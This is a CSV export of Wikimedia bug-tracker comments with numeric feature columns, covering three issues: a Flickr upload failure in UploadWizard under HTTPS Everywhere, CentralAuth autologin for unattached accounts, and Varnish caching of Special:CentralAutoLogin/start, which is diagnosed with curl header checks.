255822,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),I think that this is problem in the UploadWizard javascript triggered by HTTPSEverywhere plugin. https://api.flickr.com redirects to https://secure.flickr.com which causes the XHR request to hang/fail. This fix for this may be as easy as changing 'flickrApiUrl' in UploadWizard.config.php from '//api.flickr.com/services/rest/?' to ''https://secure.flickr.com/services/rest/?' making the request SSL/TLS protected for all users.,,,1384972951,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c3,1,True,,,-85,True,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,6.0,7.0,0.0,0.0,0.0,1.0,0.0,1.0,16.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,22.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,3.0,16.0,1.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,16.0,7.0,1.0,6.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,4.462686567164179,0.7164179104477612,I think that this is problem in the UploadWizard javascript triggered by HTTPSEverywhere plugin. URL redirects to URL which causes the XHR request to hang/fail. This fix for this may be as easy as changing 'flickrApiUrl' in UploadWizard.config.php from '//api.flickr.com/services/rest/?' to ''URL making the request SSL/TLS protected for all users.
255812,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),"The bug that we decided this duplicated seemed similar at the time, but it is actually very different.",,,1381880122,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c3,1,True,,,-90,True,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,"The bug that we decided this duplicated seemed similar at the time, but it is actually very different."
255802,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),"

*** This bug has been marked as a duplicate of bug 42468 ***",,,1381426891,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c3,1,False,,,-90,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 42468 ***"
255795,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),"(In reply to comment #1)
> A related improvement would be to use the secure API endpoint when the user
> is using https on the mediawiki site.

Only if it works. ;-)",,,1379997214,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c3,1,True,,,-93,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6842105263157894,0.8947368421052632,"(In reply to comment #1)
QUOTE
QUOTE

Only if it works. ;-)"
255788,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),A related improvement would be to use the secure API endpoint when the user is using https on the mediawiki site.,,,1379948656,,PHID-USER-2trxtywh5ma4onasf4kq,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c3,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,18.0,9.0,9.0,5.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,4.2272727272727275,0.9090909090909091,A related improvement would be to use the secure API endpoint when the user is using https on the mediawiki site.
56292,Autocreate not running on Special:CentralAutoLogin,"DGarry (WMF) was hitting a bug today where he logged into enwiki, and SUL logged him into most of the other projects. But, his account wasn't attached on commons, and so that autologin attempt failed, with an error in the header saying the user didn't have an attached account.

When he logged in directly on commons, the account was autocreated correctly.

We should be autocreating the accounts, like used to happen with the old AutoLogin.

--------------------------
**Version**: master
**Severity**: normal",Medium,50.0,1379539380,1380142225.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-svzudixhz7fip5zakgrk,task_description,resolved,True,c3,1,True,False,True,-94,True,0.0,0.0,0.0,1.5,1.0,4.5,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,1.0,1.0,5.0,7.5,0.0,1.0,1.0,0.5,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,6.0,3.0,6.5,1.5,1.5,6.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,3.5,7.5,4.0,0.0,0.0,0.0,3.5,0.0,1.5,2.0,0.5,2.0,0.0,0.5,0.0,4.001515151515152,0.7516835016835017,"DGarry (WMF) was hitting a bug today where he logged into enwiki, and SUL logged him into most of the other projects. But, his account wasn't attached on commons, and so that autologin attempt failed, with an error in the header saying the user didn't have an attached account.

When he logged in directly on commons, the account was autocreated correctly.

We should be autocreating the accounts, like used to happen with the old AutoLogin.

--------------------------
**Version**: master
**Severity**: normal"
245119,Autocreate not running on Special:CentralAutoLogin,Deployed,,,1380142225,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c3,1,True,,,-93,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,Deployed
245117,Autocreate not running on Special:CentralAutoLogin,"Change 84998 merged by jenkins-bot:
Don't fail autologin for unattached accounts

https://gerrit.wikimedia.org/r/84998",,,1379616502,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c3,1,False,,,-93,True,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.611111111111111,1.0,"Change 84998 merged by jenkins-bot:
Don't fail autologin for unattached accounts

GERRIT_URL"
245115,Autocreate not running on Special:CentralAutoLogin,"(In reply to comment #0)
> We should be autocreating the accounts, like used to happen with the old
> AutoLogin.

Actually the old code didn't autocreate the accounts either, it just set the cookies regardless of whether a local account existed or was attached. And that works fine, because it's exactly the same situation as if you log in to enwiki but some unattached account has your name on dewiki.

And if we did autocreate the account we'd still have the bug where if an unattached user existed on say en.wiktionary then the SUL user wouldn't be auto-logged-in to any other wiktionaries either.

So what we really need to do is not care about the local account for the icons. But we do still need to care about the scripts, or we'll re-cause bug 51603.",,,1379610357,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c3,1,True,,,-93,True,1.0,0.0,0.0,0.5,2.0,4.0,0.0,0.5,0.0,1.5,2.0,2.5,0.0,0.0,0.0,3.0,0.0,9.5,12.5,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,1.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,12.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,3.0,0.0,0.0,0.5,0.0,0.0,7.0,2.0,5.0,3.5,3.5,9.0,0.0,0.0,0.0,0.5,8.5,0.0,1.0,0.0,5.0,12.5,1.5,0.0,0.0,0.0,5.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,3.7977477477477475,0.7513513513513514,"(In reply to comment #0)
QUOTE
QUOTE

Actually the old code didn't autocreate the accounts either, it just set the cookies regardless of whether a local account existed or was attached. And that works fine, because it's exactly the same situation as if you log in to enwiki but some unattached account has your name on dewiki.

And if we did autocreate the account we'd still have the bug where if an unattached user existed on say en.wiktionary then the SUL user wouldn't be auto-logged-in to any other wiktionaries either.

So what we really need to do is not care about the local account for the icons. But we do still need to care about the scripts, or we'll re-cause bug 51603."
245112,Autocreate not running on Special:CentralAutoLogin,"Change 84998 had a related patch set uploaded by Anomie:
Don't fail autologin for unattached accounts

https://gerrit.wikimedia.org/r/84998",,,1379610316,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c3,1,False,,,-93,True,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,"Change 84998 had a related patch set uploaded by Anomie:
Don't fail autologin for unattached accounts

GERRIT_URL"
245107,Autocreate not running on Special:CentralAutoLogin,"(In reply to comment #0)
> his account wasn't attached
> on
> commons

Clarification to pre-SUL dinosaurs like me: it wasn't attached because it didn't exist at all locally. No local unattached accounts here, luckily.
[[Special:CentralAuth/DGarry (WMF)]]",,,1379609188,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c3,1,True,,,-93,True,2.0,0.0,0.0,2.0,3.0,7.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,12.0,10.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,19.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,3.4655172413793105,0.7586206896551724,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

Clarification to pre-SUL dinosaurs like me: it wasn't attached because it didn't exist at all locally. No local unattached accounts here, luckily.
[[Special:CentralAuth/DGarry (WMF)]]"
56195,CentralAuth not caching Special:CentralAutoLogin/start,"Ops pointed out that almost 60% of the apache traffic is calls to Special:CentralAutoLogin. About half of that traffic is to /start, so it looks like Special:CentralAutoLogin/start is still not cached, even though we don't disable client caching in the output page. MediaWiki is sending Cache-Control private.

csteipp@linux-hv06:~> curl -Ik 'https://en.wikipedia.org/wiki/index.php?title=Special:CentralAutoLogin/start&type=script&returnto=One&returntoquery=' | grep Cache-Control
Cache-Control: private, s-maxage=0, max-age=0, must-revalidate

It seems like that is because OutputPage checks to see if $this->mSquidMaxage != 0, otherwise it sends out the private header. On my dev system, I added $this->getOutput()->setSquidMaxage( 3600 ), and I then get

csteipp@linux-hv06:~> curl -Ik 'https://127.0.0.1/wiki_port83/de/index.php?title=Special:CentralAutoLogin/start&type=script&returnto=One&returntoquery='
HTTP/1.1 302 Found
Date: Mon, 16 Sep 2013 23:32:21 GMT
Server: Apache/2.2.22 (Linux/SUSE)
X-Powered-By: PHP/5.3.17
X-Content-Type-Options: nosniff
P3P: CP=""This is not a P3P policy! See http://127.0.0.1/wiki_port83/de/index.php?title=Special:CentralAutoLogin/P3P for more info.""
Vary: Accept-Encoding,Cookie
Cache-Control: s-maxage=3600, must-revalidate, max-age=0
Location: https://127.0.0.1/wiki_port83/pool/index.php?title=Special:CentralAutoLogin/checkLoggedIn&wikiid=dewiki83&proto=https&type=script&returnto=One&returntoquery=
Content-Type: text/html; charset=utf-8


Is that enough to have varnish cache these, but logged in users will always bypass the cache?

--------------------------
**Version**: master
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52206",Medium,50.0,1379374620,1430152692.0,PHID-USER-doeppszazlm3r7xah4il,False,PHID-USER-doeppszazlm3r7xah4il,False,PHID-TASK-twf7ar32smkopiuo4xx6,task_description,resolved,True,c3,1,True,True,True,-94,True,0.0,0.0,0.0,0.3333333333333333,1.0,2.6666666666666665,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,1.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,3.6666666666666665,6.666666666666667,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,5.333333333333333,2.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,13.666666666666666,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,2.3333333333333335,20.0,1.3333333333333333,0.6666666666666666,3.0,0.0,0.0,0.6666666666666666,0.0,2.6666666666666665,0.3333333333333333,3.6666666666666665,0.0,2.3333333333333335,6.666666666666667,15.666666666666666,0.3333333333333333,1.0,0.0,2.3333333333333335,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,3.6496598639455784,0.6883722561189424,"Ops pointed out that almost 60% of the apache traffic is calls to Special:CentralAutoLogin. About half of that traffic is to /start, so it looks like Special:CentralAutoLogin/start is still not cached, even though we don't disable client caching in the output page. MediaWiki is sending Cache-Control private.

csteipp@linux-hv06:~> curl -Ik 'URL | grep Cache-Control
Cache-Control: private, s-maxage=0, max-age=0, must-revalidate

It seems like that is because OutputPage checks to see if $this->mSquidMaxage != 0, otherwise it sends out the private header. On my dev system, I added $this->getOutput()->setSquidMaxage( 3600 ), and I then get

csteipp@linux-hv06:~> curl -Ik 'URL
HTTP/1.1 302 Found
Date: Mon, 16 Sep 2013 23:32:21 GMT
Server: Apache/2.2.22 (Linux/SUSE)
X-Powered-By: PHP/5.3.17
X-Content-Type-Options: nosniff
P3P: CP=""This is not a P3P policy! See URL for more info.""
Vary: Accept-Encoding,Cookie
Cache-Control: s-maxage=3600, must-revalidate, max-age=0
Location: URL
Content-Type: text/html; charset=utf-8


Is that enough to have varnish cache these, but logged in users will always bypass the cache?

--------------------------
**Version**: master
**Severity**: major
**See Also**:
URL"
449675,CentralAuth not caching Special:CentralAutoLogin/start,"I don't think there are any remaining issue that are high enough priority for anyone to work on. If anyone in ops thinks different, let me know and we can plan it out.",,,1430152692,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-10,True,3.0,5.0,0.0,0.0,3.0,11.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,8.0,0.0,3.0,16.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,8.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,5.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.6486486486486487,0.918918918918919,"I don't think there are any remaining issue that are high enough priority for anyone to work on. If anyone in ops thinks different, let me know and we can plan it out."
449308,CentralAuth not caching Special:CentralAutoLogin/start,Can this be closed or is this still a problem.,,,1430070996,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-10,True,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,9.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.9090909090909091,Can this be closed or is this still a problem.
239981,CentralAuth not caching Special:CentralAutoLogin/start,"I'll let Faidon weigh in on how much we need to setup the varnish cache for that page. But given the current load on the backend vs the potential impact (positive, and negative if we mess any part of it up), I'm not sure how high of a priority we want that. Bumping this to normal for now.",,,1390410140,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-76,True,3.0,0.0,0.0,0.0,1.0,12.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,7.0,0.0,7.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,4.0,3.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,18.0,1.0,0.0,0.0,0.0,9.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,3.462686567164179,0.7761194029850746,"I'll let Faidon weigh in on how much we need to setup the varnish cache for that page. But given the current load on the backend vs the potential impact (positive, and negative if we mess any part of it up), I'm not sure how high of a priority we want that. Bumping this to normal for now."
239975,CentralAuth not caching Special:CentralAutoLogin/start,"(In reply to comment #35 by csteipp)
> The only remaining thing would be to (very carefully) return a cached
> response from Varnish for loginwiki's /checkLoggedIn
[...]
> But I think Varnish still ignores all caching for
> Special:CentralAutoLogin after bug 53032?

All patches are in - resetting status.

Chris: Is this still highest priority or is this ""only"" high now?",,,1390406345,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-76,True,2.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,8.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,3.125,0.7916666666666666,"(In reply to comment #35 by csteipp)
QUOTE
QUOTE
[...]
QUOTE
QUOTE

All patches are in - resetting status.

Chris: Is this still highest priority or is this ""only"" high now?"
239972,CentralAuth not caching Special:CentralAutoLogin/start,"The only remaining thing would be to (very carefully) return a cached response from Varnish for loginwiki's /checkLoggedIn, if the user doesn't have any loggin cookies, since we return the exact same content for all logged-out users (but unique content for logged in users).

MediaWiki should be sending the correct headers-- CC:public, with a max-age of 1200 when the request came from a logged out user, or CC:private when the user is logged in. But I think Varnish still ignores all caching for Special:CentralAutoLogin after bug 53032?",,,1388427688,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-79,True,2.0,0.0,0.5,1.0,0.5,4.5,0.5,0.0,0.0,0.5,1.5,0.5,0.0,0.5,0.0,1.5,0.0,4.0,11.0,0.0,0.5,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,6.5,2.5,8.5,3.0,2.5,8.5,0.0,0.0,0.0,0.0,2.5,0.0,2.0,0.0,1.5,11.0,6.0,1.0,0.0,0.0,1.5,0.0,2.0,2.5,0.0,2.5,0.0,0.0,0.0,4.089448051948052,0.8198051948051948,"The only remaining thing would be to (very carefully) return a cached response from Varnish for loginwiki's /checkLoggedIn, if the user doesn't have any loggin cookies, since we return the exact same content for all logged-out users (but unique content for logged in users).

MediaWiki should be sending the correct headers-- CC:public, with a max-age of 1200 when the request came from a logged out user, or CC:private when the user is logged in. But I think Varnish still ignores all caching for Special:CentralAutoLogin after bug 53032?"
239970,CentralAuth not caching Special:CentralAutoLogin/start,"These were all deployed and the effect is nicely visualized here:
https://ganglia.wikimedia.org/latest/stacked.php?c=Application+servers+eqiad&host_regex=&m=ap_rps&r=year&st=1388322880
(application server requests per second) 

I'm happy with seeing this bug report closed. Chris, you mentioned some other optimizations you had in mind. Are you still planning these? Are we going to track them im this bug?",,,1388323148,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-79,True,3.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,6.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,3.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,10.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,6.0,3.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,3.9516129032258065,0.8709677419354839,"These were all deployed and the effect is nicely visualized here:
URL
(application server requests per second) 

I'm happy with seeing this bug report closed. Chris, you mentioned some other optimizations you had in mind. Are you still planning these? Are we going to track them im this bug?"
239967,CentralAuth not caching Special:CentralAutoLogin/start,"Change 100508 merged by jenkins-bot:
Don't redirects anons to /createSession

https://gerrit.wikimedia.org/r/100508",,,1386703633,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.705882352941177,1.0,"Change 100508 merged by jenkins-bot:
Don't redirects anons to /createSession

GERRIT_URL"
239962,CentralAuth not caching Special:CentralAutoLogin/start,"Thanks Faidon, that is exactly what I was expecting. Just wanted to confirm.",,,1386703215,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-twf7ar32smkopiuo4xx6,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,0.9375,"Thanks Faidon, that is exactly what I was expecting. Just wanted to confirm."
